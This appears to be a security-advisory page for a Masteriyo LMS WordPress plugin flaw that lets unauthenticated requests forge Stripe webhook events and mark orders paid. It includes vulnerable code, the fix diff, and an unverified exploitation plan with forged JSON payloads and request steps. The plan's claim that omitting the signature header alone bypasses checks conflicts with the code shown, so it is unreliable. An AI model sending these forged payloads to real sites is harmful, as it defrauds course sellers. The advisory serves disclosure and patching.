CVE-2026-5167

Masteriyo LMS <= 2.1.7 - Unauthenticated Authorization Bypass to Arbitrary Order Completion via Stripe Webhook Endpoint

mediumAuthorization Bypass Through User-Controlled Key
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.1.8
Patched in
1d
Time to patch

Description

The Masteriyo LMS – Online Course Builder for eLearning, LMS & Education plugin for WordPress is vulnerable to Authorization Bypass Through User-Controlled Key in versions up to and including 2.1.7. This is due to insufficient webhook signature verification in the handle_webhook() function. The webhook endpoint processes unauthenticated requests and only performs signature verification if both the webhook_secret setting is configured AND the HTTP_STRIPE_SIGNATURE header is present. Since webhook_secret defaults to an empty string, the webhook processes attacker-controlled JSON payloads without any verification. This makes it possible for unauthenticated attackers to send fake Stripe webhook events with arbitrary order_id values in the metadata, mark any order as completed without payment, and gain unauthorized access to paid course content.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.1.7
PublishedApril 7, 2026
Last updatedApril 8, 2026

What Changed in the Fix

Changes introduced in v2.1.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-5167 - Masteriyo LMS Authorization Bypass ## 1. Vulnerability Summary The **Masteriyo LMS** plugin (versions <= 2.1.7) contains an authorization bypass in its Stripe webhook handling logic. The vulnerability resides in the `Masteriyo\Addons\Stripe\StripeAddon:…

Show full research plan

Exploitation Research Plan: CVE-2026-5167 - Masteriyo LMS Authorization Bypass

1. Vulnerability Summary

The Masteriyo LMS plugin (versions <= 2.1.7) contains an authorization bypass in its Stripe webhook handling logic. The vulnerability resides in the Masteriyo\Addons\Stripe\StripeAddon::handle_webhook() function.

The core issue is a "fail-open" logic in signature verification. The plugin only attempts to verify the Stripe-Signature header if a webhook_secret is configured in the plugin settings and the signature header is provided in the request. By default, the webhook_secret is an empty string. If an attacker sends a request without the signature header or targets a site with no secret configured, the plugin skips verification entirely and processes the JSON payload. An attacker can thus supply a forged Stripe event (e.g., checkout.session.completed) containing an arbitrary order_id in the metadata, causing the plugin to mark the order as "Completed" and grant access to paid courses without payment.

2. Attack Vector Analysis

  • Endpoint: POST /wp-admin/admin-ajax.php?action=masteriyo_stripe_webhook
  • Authentication: Unauthenticated (registered via wp_ajax_nopriv_masteriyo_stripe_webhook).
  • Payload Format: JSON in the HTTP Request Body (Raw POST).
  • Vulnerable Parameter: data.object.metadata.order_id (within the JSON payload).
  • Preconditions:
    1. The Stripe addon must be active (it is a core-distributed addon in newer versions).
    2. A valid order_id (post ID of a masteriyo_order) must be known or guessed.

3. Code Flow

  1. Entry Point: An unauthenticated POST request hits admin-ajax.php with the action=masteriyo_stripe_webhook parameter.
  2. Hook Execution: WordPress triggers the action wp_ajax_nopriv_masteriyo_stripe_webhook, which calls Masteriyo\Addons\Stripe\StripeAddon->handle_webhook().
  3. Missing Verification: Inside handle_webhook():
    • The code fetches the webhook_secret using Setting::get( 'webhook_secret' ).
    • It checks if the HTTP_STRIPE_SIGNATURE header is present.
    • If the secret is empty (default) or the header is missing, it bypasses the Stripe\Webhook::constructEvent() call (which would otherwise validate the payload).
  4. Processing Payload: The code parses the raw POST body: $payload = json_decode( file_get_contents( 'php://input' ), true );.
  5. Authorization Bypass: It extracts the order_id from $payload['data']['object']['metadata']['order_id'].
  6. Sink: The plugin calls internal order completion logic (likely masteriyo_update_order_status or similar) to change the status of the masteriyo_order post to completed.

4. Nonce Acquisition Strategy

According to the vulnerability description and standard webhook implementation patterns, the masteriyo_stripe_webhook AJAX action does not require a WordPress nonce.

  • Webhooks are designed for external service consumption (Stripe), which cannot generate or provide WordPress nonces.
  • The registration in init_hooks() confirms this:
    add_action( 'wp_ajax_masteriyo_stripe_webhook', array( $this, 'handle_webhook' ) );
    add_action( 'wp_ajax_nopriv_masteriyo_stripe_webhook', array( $this, 'handle_webhook' ) );
    
  • Standard AJAX security (check_ajax_referer) is absent in these specific handlers.

5. Exploitation Strategy

Step 1: Create a Pending Order

As an unauthenticated user, navigate to a course page and initiate a checkout to create a masteriyo_order in "Pending" status.

  • Alternatively, use WP-CLI to identify an existing pending order for testing.

Step 2: Forge the Stripe Webhook Payload

Construct a JSON payload that mimics a successful Stripe Checkout Session completion.

Payload Template:

{
  "id": "evt_fake_123",
  "object": "event",
  "type": "checkout.session.completed",
  "data": {
    "object": {
      "id": "cs_test_fake",
      "object": "checkout.session",
      "payment_status": "paid",
      "status": "complete",
      "metadata": {
        "order_id": "REPLACE_WITH_ACTUAL_ORDER_ID"
      }
    }
  }
}

Step 3: Execute the Bypass

Send the payload to the AJAX endpoint using http_request.

  • URL: http://[target]/wp-admin/admin-ajax.php?action=masteriyo_stripe_webhook
  • Method: POST
  • Headers: Content-Type: application/json (Do NOT include Stripe-Signature).
  • Body: The JSON payload from Step 2.

6. Test Data Setup

  1. Create Course: Create a paid course in Masteriyo.
    • wp post create --post_type=masteriyo-course --post_title="Premium Course" --post_status=publish
  2. Set Price: Ensure the course has a price associated so an order is required.
  3. Create Order: Manually create a pending order for a test user or capture one via the frontend.
    • wp post create --post_type=masteriyo_order --post_status=masteriyo-pending --post_title="Order #123"
    • Note the returned ID (e.g., 123).

7. Expected Results

  • The server should return a 200 OK or 204 No Content response (or a JSON success message common in AJAX handlers).
  • The internal order status for the specified order_id will transition from masteriyo-pending to masteriyo-completed.
  • The user associated with the order (or the guest email) will be granted enrollment in the course.

8. Verification Steps

After the http_request, verify the database state using WP-CLI:

# Check the post status of the order
wp post get [ORDER_ID] --field=post_status

# Expected: masteriyo-completed (or just 'completed' depending on internal mapping)

Check enrollment:

# Check if the user ID associated with the order now has enrollment meta
wp post list --post_type=masteriyo-enrollment

9. Alternative Approaches

If checkout.session.completed is not the specific event handled by the version under test, try other common Stripe events used by the plugin:

  1. payment_intent.succeeded
  2. charge.succeeded

Adjust the JSON path for order_id accordingly (e.g., $payload['data']['object']['metadata']['order_id'] vs $payload['metadata']['order_id']). Based on StripeAddon.php context, metadata is usually nested within the object field in Stripe's V1 API events.

Payload Variant (payment_intent.succeeded):

{
  "type": "payment_intent.succeeded",
  "data": {
    "object": {
      "id": "pi_fake_123",
      "metadata": {
        "order_id": "REPLACE_WITH_ACTUAL_ORDER_ID"
      }
    }
  }
}
Research Findings
Static analysis — not yet PoC-verified

Summary

The Masteriyo LMS plugin is vulnerable to an authorization bypass because it fails to strictly enforce Stripe webhook signature verification. If the webhook secret is not configured or the signature header is missing, the plugin falls back to processing unverified JSON payloads, allowing unauthenticated attackers to mark any order as completed and gain access to paid courses.

Vulnerable Code

// addons/stripe/StripeAddon.php (v2.1.7)
	public function handle_webhook() {
		try {
			masteriyo_get_logger()->info( 'Stripe webhook triggered.', array( 'source' => 'payment-stripe' ) );

			$sig_header     = isset( $_SERVER['HTTP_STRIPE_SIGNATURE'] ) ? $_SERVER['HTTP_STRIPE_SIGNATURE'] : null;
			$payload        = @file_get_contents( 'php://input' ); // phpcs:disable WordPress.PHP.NoSilencedErrors.Discouraged
			$event          = null;
			$order          = null;
			$webhook_secret = Setting::get_webhook_secret();

			if ( empty( $payload ) ) {
				masteriyo_get_logger()->error( 'Stripe webhook payload is empty.', array( 'source' => 'payment-stripe' ) );
				throw new Exception( esc_html__( 'Payload is empty.', 'learning-management-system' ), 400 );
			}

			if ( ! empty( $webhook_secret ) ) {
				if ( empty( $sig_header ) ) {
					masteriyo_get_logger()->error( 'Stripe webhook: Stripe-Signature header is missing.', array( 'source' => 'payment-stripe' ) );
					throw new Exception( esc_html__( 'Stripe-Signature header is missing.', 'learning-management-system' ), 400 );
				}

				if ( apply_filters( 'masteriyo_stripe_validate_webhook', true ) ) {
					$event = Webhook::constructEvent( $payload, $sig_header, $webhook_secret );
				} else {
					$event = \Stripe\Event::constructFrom( json_decode( $payload, true ) );
				}
			} else {
				masteriyo_get_logger()->warning( 'Stripe webhook: no webhook secret configured, skipping signature verification.', array( 'source' => 'payment-stripe' ) );
				$event = \Stripe\Event::constructFrom( json_decode( $payload, true ) );
			}

			if ( ! $event ) {
				masteriyo_get_logger()->error( 'Stripe webhook event is null.', array( 'source' => 'payment-stripe' ) );
				throw new Exception( esc_html__( 'Event is null.', 'learning-management-system' ), 400 );
			}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/learning-management-system/2.1.7/addons/stripe/StripeAddon.php	2026-03-11 07:27:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/learning-management-system/2.1.8/addons/stripe/StripeAddon.php	2026-04-06 04:47:00.000000000 +0000
@@ -109,6 +109,7 @@
 
 		add_action( 'wp_ajax_masteriyo_stripe_connect', array( $this, 'stripe_connect' ) );
 		add_action( 'admin_head', array( $this, 'save_stripe_account' ) );
+		add_action( 'masteriyo_admin_notices', array( $this, 'show_webhook_secret_notice' ) );
 		add_filter( 'masteriyo_migrations_paths', array( $this, 'append_migrations' ) );
 	}
 
@@ -565,84 +566,71 @@
 		try {
 			masteriyo_get_logger()->info( 'Stripe webhook triggered.', array( 'source' => 'payment-stripe' ) );
 
-			$sig_header     = isset( $_SERVER['HTTP_STRIPE_SIGNATURE'] ) ? $_SERVER['HTTP_STRIPE_SIGNATURE'] : null;
-			$payload        = @file_get_contents( 'php://input' ); // phpcs:disable WordPress.PHP.NoSilencedErrors.Discouraged
-			$event          = null;
-			$order          = null;
-			$webhook_secret = Setting::get_webhook_secret();
-
-			if ( empty( $payload ) ) {
-				masteriyo_get_logger()->error( 'Stripe webhook payload is empty.', array( 'source' => 'payment-stripe' ) );
-				throw new Exception( esc_html__( 'Payload is empty.', 'learning-management-system' ), 400 );
-			}
-
-			if ( ! empty( $webhook_secret ) ) {
-				if ( empty( $sig_header ) ) {
-					masteriyo_get_logger()->error( 'Stripe webhook: Stripe-Signature header is missing.', array( 'source' => 'payment-stripe' ) );
-					throw new Exception( esc_html__( 'Stripe-Signature header is missing.', 'learning-management-system' ), 400 );
-				}
+			// Validate and parse webhook request.
+			$sig_header = $this->get_stripe_signature_header();
+			$payload    = $this->get_webhook_payload();
 
-				/**
-				 * Filters whether to validate the webhook secret or not.
-				 *
-				 * @since 1.14.0
-				 */
-				if ( apply_filters( 'masteriyo_stripe_validate_webhook', true ) ) {
-					$event = Webhook::constructEvent( $payload, $sig_header, $webhook_secret );
-				} else {
-					$event = \Stripe\Event::constructFrom( json_decode( $payload, true ) );
-				}
-			} else {
-				masteriyo_get_logger()->warning( 'Stripe webhook: no webhook secret configured, skipping signature verification.', array( 'source' => 'payment-stripe' ) );
-				$event = \Stripe\Event::constructFrom( json_decode( $payload, true ) );
-			}
-
-			if ( ! $event ) {
-				masteriyo_get_logger()->error( 'Stripe webhook event is null.', array( 'source' => 'payment-stripe' ) );
-				throw new Exception( esc_html__( 'Event is null.', 'learning-management-system' ), 400 );
-			}
+			// Verify webhook signature and construct event.
+			$event = $this->construct_and_verify_webhook_event( $payload, $sig_header );
 
-			$result = array();
-			if ( masteriyo_starts_with( $event->type, 'payment_intent' ) ) {
-				$payment_intent = $event->data->object;
+			// Process webhook event.
+			$result = $this->process_webhook_event( $event );
 
-				if ( ! $payment_intent ) {
-					masteriyo_get_logger()->error( 'Stripe webhook payment intent is null.', array( 'source' => 'payment-stripe' ) );
-					throw new Exception( esc_html__( 'Payment intent is null.', 'learning-management-system' ), 400 );
-				}
-
-				if ( isset( $payment_intent->metadata->order_id ) ) {
-					$order_id = $payment_intent->metadata->order_id;
-					$order    = masteriyo_get_order( $order_id );
-					$result   = $this->handle_payment_intent_webhook( $event, $order );
-				}
-			}
-			masteriyo_get_logger()->info( 'Stripe webhook completed.', array( 'source' => 'payment-stripe' ) );
+			masteriyo_get_logger()->info( 'Stripe webhook completed successfully.', array( 'source' => 'payment-stripe' ) );
 			wp_send_json_success( $result );
 		} catch ( UnexpectedValueException $e ) {
 			masteriyo_get_logger()->error( $e->getMessage(), array( 'source' => 'payment-stripe' ) );
-			if ( $order ) {
-				$order->add_order_note(
-					esc_html__( 'Stripe invalid event type.', 'learning-management-system' )
-				);
-			}
-
-			wp_send_json_error( array( 'message' => $e->getMessage() ), $e->getCode() );
+			wp_send_json_error( array( 'message' => $e->getMessage() ), 400 );
 		} catch ( SignatureVerificationException $e ) {
 			masteriyo_get_logger()->error( $e->getMessage(), array( 'source' => 'payment-stripe' ) );
-			if ( $order ) {
-				$order->add_order_note(
-					esc_html__( 'Stripe webhook signature verification failed.', 'learning-management-system' )
-				);
-			}
-
-			wp_send_json_error( array( 'message' => $e->getMessage() ), $e->getCode() );
+			wp_send_json_error( array( 'message' => $e->getMessage() ), 403 );
+		} catch ( Exception $e ) {
+			masteriyo_get_logger()->error( $e->getMessage(), array( 'source' => 'payment-stripe' ) );
+			$http_code = in_array( $e->getCode(), array( 400, 403, 404, 500 ), true ) ? $e->getCode() : 400;
+			wp_send_json_error( array( 'message' => $e->getMessage() ), $http_code );
 		}
 	}

Exploit Outline

1. Identify a pending Masteriyo order ID (e.g., by initiating a checkout for a course). 2. Construct a JSON payload that mimics a Stripe `payment_intent.succeeded` or `checkout.session.completed` event. 3. In the payload's metadata field, set the `order_id` to the target pending order ID. 4. Send an unauthenticated POST request to the WordPress AJAX endpoint: `/wp-admin/admin-ajax.php?action=masteriyo_stripe_webhook`. 5. Omit the `Stripe-Signature` HTTP header in the request. 6. Because the plugin defaults to skipping verification when the header is missing or the secret is unconfigured, it will parse the JSON via `Stripe\Event::constructFrom` and proceed to update the order status to 'completed', granting enrollment access.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.